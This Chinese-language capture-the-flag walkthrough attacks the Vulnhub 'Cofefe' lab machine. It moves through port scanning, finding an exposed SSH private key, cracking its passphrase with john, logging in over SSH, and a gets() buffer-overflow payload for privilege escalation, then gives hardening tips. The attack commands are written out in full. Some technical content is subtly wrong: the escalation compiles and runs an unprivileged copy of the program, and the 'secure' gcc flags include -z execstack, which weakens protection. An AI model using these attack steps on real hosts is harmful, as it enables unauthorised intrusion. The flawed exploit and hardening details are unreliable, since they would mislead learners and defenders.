Vulnhub Cofefe靶场渗透实战:从SSH密钥泄露到本地提权的完整攻击链解析
靶场环境与攻击路径概览
Cofefe是Vulnhub平台上一台专注于SSH安全与本地提权训练的Linux靶机,包含三个需要获取的flag。与常规CTF靶机不同,其设计重点在于:
- 非常规端口暴露:关键Web服务运行在31337端口而非80端口
- 多层认证绕过:通过.ssh目录泄露实现身份认证突破
- 二进制漏洞利用:存在可被利用的SUID程序实现权限提升
典型攻击路径如下:
信息收集 → Web目录爆破 → .ssh密钥泄露 → SSH认证绕过 → 本地缓冲区溢出提权1. 信息收集与攻击面发现
1.1 主机发现与端口扫描
在NAT网络环境下使用nmap进行基础扫描:
nmap -sP 192.168.5.0/24 nmap -sS -p- 192.168.5.163关键发现:
| 端口 | 服务 | 备注 |
|---|---|---|
| 22 | SSH | 常规管理端口 |
| 80 | HTTP | Nginx默认页面 |
| 31337 | HTTP | 隐藏Web服务入口 |
1.2 Web目录深度探测
针对31337端口使用dirb进行目录爆破:
dirb http://192.168.5.163:31337 /usr/share/wordlists/dirb/common.txt敏感目录发现:
- /.ssh/
- /robots.txt
- /taxes/
提示:在CTF环境中,robots.txt和.ssh目录往往是突破口的第一选择
2. SSH密钥利用与认证绕过
2.1 密钥文件分析
访问.ssh目录发现以下文件:
id_rsa # 私钥文件 id_rsa.pub # 公钥文件 authorized_keys # 认证密钥列表通过公钥信息确认关联用户:
cat id_rsa.pub # ssh-rsa AAAAB3N... simon@cofefe2.2 私钥密码破解
使用ssh2john转换私钥格式:
ssh2john id_rsa > key.hash john --wordlist=/usr/share/wordlists/rockyou.txt key.hash破解结果:
Proceeding with wordlist:/usr/share/wordlists/rockyou.txt starwars (id_rsa)2.3 SSH会话建立
设置私钥权限并连接:
chmod 600 id_rsa ssh -i id_rsa simon@192.168.5.163连接后检查:
whoami # simon id # uid=1000(simon) gid=1000(simon) groups=1000(simon)3. 本地提权技术深度剖析
3.1 敏感文件发现
在用户目录发现可疑C程序:
find / -user simon -type f 2>/dev/null /home/simon/read_message.c分析程序漏洞特征:
#include <stdio.h> #include <string.h> int main() { char buf[20]; printf("Enter your message: "); gets(buf); // 危险函数:无边界检查 if(strncmp(buf, "simon", 5) == 0) { printf("Hello %s\n", buf); } else { printf("Access denied\n"); } return 0; }3.2 缓冲区溢出利用
漏洞利用要点:
- 前5字符需匹配"simon"
- buf数组仅20字节空间
- gets()函数无长度限制
构造payload:
python -c 'print "simon" + "A"*15 + "\xef\xbe\xad\xde"'提权操作:
gcc -o read_message read_message.c ./read_message < payload注意:实际exploit需根据内存地址调整,此处为概念演示
4. 攻击链强化与替代方案
4.1 当私钥加密时的备选方案
若ssh私钥有密码保护且无法破解:
- 检查Web应用的其他漏洞(如文件包含、RCE)
- 尝试其他服务端口(如FTP、SMB)
- 利用Cron Jobs或SUID程序提权
4.2 多维度提权检查清单
SUID检查:
find / -perm -4000 -type f 2>/dev/nullCron Jobs检查:
cat /etc/crontab ls -la /etc/cron.*内核漏洞检查:
uname -a searchsploit linux kernel 3.13.05. 防御措施与安全建议
5.1 SSH安全加固
- 禁用密码认证,仅允许密钥登录
- 限制.ssh目录权限(700)
- 使用强密码保护私钥文件
5.2 系统防护方案
# 禁用危险函数 echo "kernel.exec-shield = 1" >> /etc/sysctl.conf # 限制SUID程序 chmod u-s /path/to/program # 启用ASLR echo 2 > /proc/sys/kernel/randomize_va_space5.3 开发安全规范
- 使用fgets替代gets等危险函数
- 编译时添加安全选项:
gcc -fstack-protector -z execstack -o program program.c通过本靶场实战可见,一个看似简单的.ssh目录泄露可能引发完整的权限沦陷链。在真实环境中,建议定期进行:
- 敏感文件权限审计
- 冗余服务清理
- 安全开发培训
- 渗透测试演练